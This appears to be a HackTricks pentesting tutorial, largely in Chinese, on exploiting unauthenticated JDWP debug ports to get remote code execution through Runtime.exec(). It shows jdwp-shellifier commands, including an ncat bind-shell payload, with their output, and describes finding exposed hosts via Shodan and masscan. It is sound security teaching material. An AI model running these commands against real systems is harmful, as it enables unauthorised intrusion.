hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

19 KiB
Raw Blame History

Pentesting JDWP - Java Debug Wire Protocol

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Exploiting

JDWP利用依赖于协议缺乏认证和加密。它通常出现在端口8000上,但也可能使用其他端口。通过向目标端口发送"JDWP-Handshake"来建立初始连接。如果JDWP服务处于活动状态它会以相同的字符串响应确认其存在。这种握手作为一种指纹识别方法用于识别网络上的JDWP服务。

在进程识别方面搜索Java进程中的字符串"jdwk"可以指示一个活动的JDWP会话。

首选工具是jdwp-shellifier。您可以使用不同的参数:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

我发现使用 --break-on 'java.lang.String.indexOf' 可以使漏洞利用更加稳定。如果你有机会上传一个后门到主机并执行它,而不是执行命令,那么漏洞利用将会更加稳定。

更多细节

摘自 https://ioactive.com/hacking-java-debug-wire-protocol-or-how/

Java 调试线协议

Java 平台调试架构 (JPDA)JDWP 是全局 Java 调试系统的一个组成部分,称为 Java 平台调试架构 (JPDA)[2]。以下是整体架构的图表:

被调试对象由运行目标应用程序的多线程 JVM 组成。为了能够远程调试,必须在命令行上显式地使用 -Xdebug 选项启动 JVM 实例,以及 -Xrunjdwp或 -agentlib选项。例如启动一个启用了远程调试的 Tomcat 服务器,看起来像这样:

如架构图所示Java 调试线协议是调试器和 JVM 实例之间的中心链接。关于协议的观察包括:

  • 它是一个基于数据包的网络二进制协议。
  • 它主要是同步的。调试器通过 JDWP 发送命令并期望收到回复。然而,某些命令,如事件,不期望同步响应。它们会在特定条件满足时发送回复。例如,断点就是一个事件。
  • 它不使用认证。
  • 它不使用加密。

所有这些观察都是有道理的,因为我们讨论的是一个调试协议。然而,当这样的服务暴露在敌对网络中,或面向互联网时,情况可能会出错。

握手JDWP 规定[9]通信必须通过一个简单的握手来启动。在成功的 TCP 连接后,调试器(客户端)发送 14 个字符的 ASCII 字符串 “JDWP-Handshake”。被调试对象服务器通过发送完全相同的字符串来响应此消息。以下 scapy[3] 跟踪显示了最初的双向握手:

root:~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:~/tools/scapy-hg # ./run_scapy

欢迎使用 Scapy (2.2.0-dev)
>>> sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A

一个有经验的安全审计员可能已经意识到,这样一个简单的握手提供了一种轻松发现互联网上活跃 JDWP 服务的方法。只需发送一个简单的探针并检查特定的响应。更有趣的是,在使用 ShodanHQ[4] 扫描时观察到 IBM Java 开发工具包的行为,服务器首先使用前面提到的相同横幅“说话”。因此,有一种完全被动的方式来发现活跃的 JDWP 服务(本文后面将利用著名的 Shodan 来介绍这一点)。

通信JDWP 定义了调试器和被调试对象之间通信所涉及的消息[10]。消息遵循一个简单的结构,定义如下:

Length 和 Id 字段相当自解释。Flag 字段仅用于区分请求包和回复包0x80 的值表示回复包。CommandSet 字段定义了命令的类别,如下表所示。
\

CommandSet ** Command**
0x40 JVM 应采取的行动(例如,设置断点)
0x400x7F 向调试器提供事件信息例如JVM 已经触发断点并等待进一步操作)
0x80 第三方扩展

考虑到我们想要执行任意代码,以下命令对我们的目的来说最有趣。

  • VirtualMachine/IDSizes 定义 JVM 处理的数据结构的大小。这是 nmap 脚本 jdwp-exec.nse[11] 不工作的原因之一,因为脚本使用了硬编码的大小。
  • ClassType/InvokeMethod 允许你调用一个静态函数。
  • ObjectReference/InvokeMethod 允许你调用 JVM 中实例化对象的函数。
  • StackFrame/(Get|Set)Values 提供线程栈的推/弹功能。
  • Event/Composite 强制 JVM 对此命令声明的特定行为做出反应。这个命令是调试目的的主要关键,因为它允许在运行时设置断点、单步执行线程,并在访问/修改值时以与 GDB 或 WinDBG 完全相同的方式得到通知。

JDWP 不仅允许你访问和调用已经存在于内存中的对象,它还允许你创建或覆盖数据。

  • VirtualMachine/CreateString 允许你将一个字符串转换成存在于 JVM 运行时的 java.lang.String。
  • VirtualMachine/RedefineClasses 允许你安装新的类定义。

“所有的 JDWP 都属于我们”

正如我们所见JDWP 提供了内置命令,将任意类加载到 JVM 内存中并调用已经存在和/或新加载的字节码。以下部分将介绍用 Python 创建利用代码的步骤,该代码的行为类似于 JDI 前端的部分实现,以便尽可能可靠。独立的漏洞利用脚本的主要原因是,作为一名渗透测试人员,我喜欢“一击必杀”的漏洞利用。也就是说,当我确信一个环境/应用程序/协议是脆弱的时,我希望立即准备好我的工具来利用它(即不是仅仅存在的概念验证)。所以现在我们已经介绍了理论,让我们进入实际实现。面对一个开放的 JDWP 服务任意命令执行只需五个步骤或者使用这个漏洞只需一个命令行。以下是操作步骤1. 获取 Java 运行时引用JVM 通过它们的引用来操作对象。因此,我们的漏洞利用必须首先获取 java.lang.Runtime 类的引用。从这个类中,我们需要 getRuntime() 方法的引用。这是通过获取所有类AllClasses 包和我们正在寻找的类中的所有方法ReferenceType/Methods 包来完成的。2. 设置断点并等待通知异步调用这是我们漏洞利用的关键。为了调用任意代码我们需要在运行中的线程上下文中。为此一个技巧是在运行时已知会被调用的方法上设置一个断点。如前所述JDI 中的断点是一个异步事件,其类型设置为 BREAKPOINT(0x02)。当触发时JVM 向我们的调试器发送一个 EventData 包,包含我们的断点 ID更重要的是包含触发它的线程的引用。
\

因此,将它设置在一个经常被调用的方法上是一个好主意,例如 java.net.ServerSocket.accept()每次服务器接收到新的网络连接时都很可能被调用。然而必须记住它可以是运行时存在的任何方法。3. 在运行时分配一个 Java String 对象来执行有效载荷我们将在 JVM 运行时执行代码,因此我们操作的所有数据(例如字符串)必须存在于 JVM 运行时(即拥有一个运行时引用)。这通过发送一个 CreateString 命令来轻松完成。

4. 从断点上下文获取 Runtime 对象此时我们几乎拥有了成功、可靠利用所需的所有元素。我们缺少的是一个 Runtime 对象引用。获取它很容易,我们可以简单地在 JVM 运行时执行 java.lang.Runtime.getRuntime() 静态方法[8],通过发送一个 ClassType/InvokeMethod 包并提供 Runtime 类和线程引用。5. 查找并调用 Runtime 实例中的 exec() 方法最后一步很简单,就是在前一步获得的 Runtime 静态对象中查找 exec() 方法并调用它(通过发送一个 ObjectReference/InvokeMethod 包)与我们在第三步创建的 String 对象。

Et voilà !! 快速且简单。作为演示,让我们启动一个启用了 JPDA “调试模式”的 Tomcat

root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start

我们执行我们的脚本,不带命令来执行,只是为了简单地获取一般的系统信息:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting 192.168.2.9:8000
[+] Reading settings for Java HotSpot(TM) 64-Bit Server VM  1.6.0_65
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on java.net.ServerSocket.accept## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System Mac OS X
[+] Found User name pentestosx
[+] Found ClassPath /Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar
[+] Found User home directory /Users/pentestosx
[!] Command successfully executed

相同的命令行但针对Windows系统并在一个完全不同的方法上中断

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 break-on java.lang.String.indexOf
[+] Targeting 192.168.2.8:8000
[+] Reading settings for Java HotSpot(TM) Client VM  1.7.0_51
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on java.lang.String.indexOf
[+] Received matching event from thread 0x8f5
[+] Found Operating System Windows 7
[+] Found User name hugsy
[+] Found ClassPath C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar
[+] Found User home directory C:Usershugsy
[!] Command successfully executed

我们执行我们的exploit来生成一个bind shellpayload为“ncat -e /bin/bash -l -p 1337”针对Linux系统

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 cmd ncat -l -p 1337 -e /bin/bash
[+] Targeting 192.168.2.8:8000
[+] Reading settings for OpenJDK Client VM  1.6.0_27
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on java.net.ServerSocket.accept
[+] Received matching event from thread 0x82a[+] Selected payload ncat -l -p 1337 -e /bin/bash
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp        0      0 0.0.0.0:1337         0.0.0.0:*               LISTEN      19242/ncat
tcp6       0      0 :::1337              :::*                    LISTEN      19242/ncat

最终的利用技术使用了这些技术,增加了一些检查,并发送挂起/恢复信号以尽可能减少干扰(不破坏您正在工作的应用程序总是最好的,对吧?)。它有两种模式:

  • “默认”模式完全不侵入性只是执行Java代码以获取本地系统信息非常适合向客户展示概念验证
  • 传递“cmd”选项在远程主机上执行系统命令因此更具侵入性。命令是以JVM运行的权限完成的。

此利用脚本已成功测试对抗:

  • Oracle Java JDK 1.6 和 1.7
  • OpenJDK 1.6
  • IBM JDK 1.6

由于Java本质上是平台无关的因此可以在Java支持的任何操作系统上执行命令。这实际上对我们渗透测试人员来说是个好消息开放的JDWP服务意味着可靠的RCE。到目前为止,一切顺利。

现实生活中的利用情况如何?

事实上JDWP在Java应用程序世界中使用相当广泛。然而渗透测试人员在进行远程评估时可能不会经常看到它因为防火墙会也应该大多数情况下阻止运行它的端口。但这并不意味着在野外找不到JDWP

  • 在撰写本文时快速搜索ShodanHQ[4]立即显示了大约40台服务器发送JDWP握手

这实际上是一个有趣的发现,因为正如我们之前看到的,应该是客户端(调试器)开始对话。

  • GitHub[7] 也显示了大量可能存在漏洞的开源应用程序:

  • 使用masscan在互联网上寻找特定端口tcp/8000, tcp/8080, tcp/8787, tcp/5005发现了许多主机在此无法报告响应初始握手。
  • 在野外发现了运行JDWP服务的“企业”应用程序*默认*(找到实际的端口号留给好奇的读者作为练习)。

这些只是在互联网上发现开放JDWP服务的几种方式。这是一个很好的提醒应用程序应定期进行彻底的安全审查生产环境应关闭任何调试功能防火墙应配置为仅限制访问正常操作所需的服务。允许任何人连接到JDWP服务就像允许连接到gdbserver服务一样可能是更稳定的方式。我希望你喜欢阅读这篇文章就像我喜欢玩JDWP一样。祝你们所有强大的海盗快乐的JDWP征服

感谢

我想感谢Ilja Van Sprundel和Sebastien Macke为他们的想法和测试。

参考资料:

  1. https://github.com/IOActive/jdwp-shellifier
  2. http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
  3. http://www.secdev.org/projects/scapy不再活跃
  4. http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
  5. http://www.hsc-news.com/archives/2013/000109.html不再活跃
  6. http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
  7. https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
  8. http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
  9. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
  10. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
  11. http://nmap.org/nsedoc/scripts/jdwp-exec.html
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥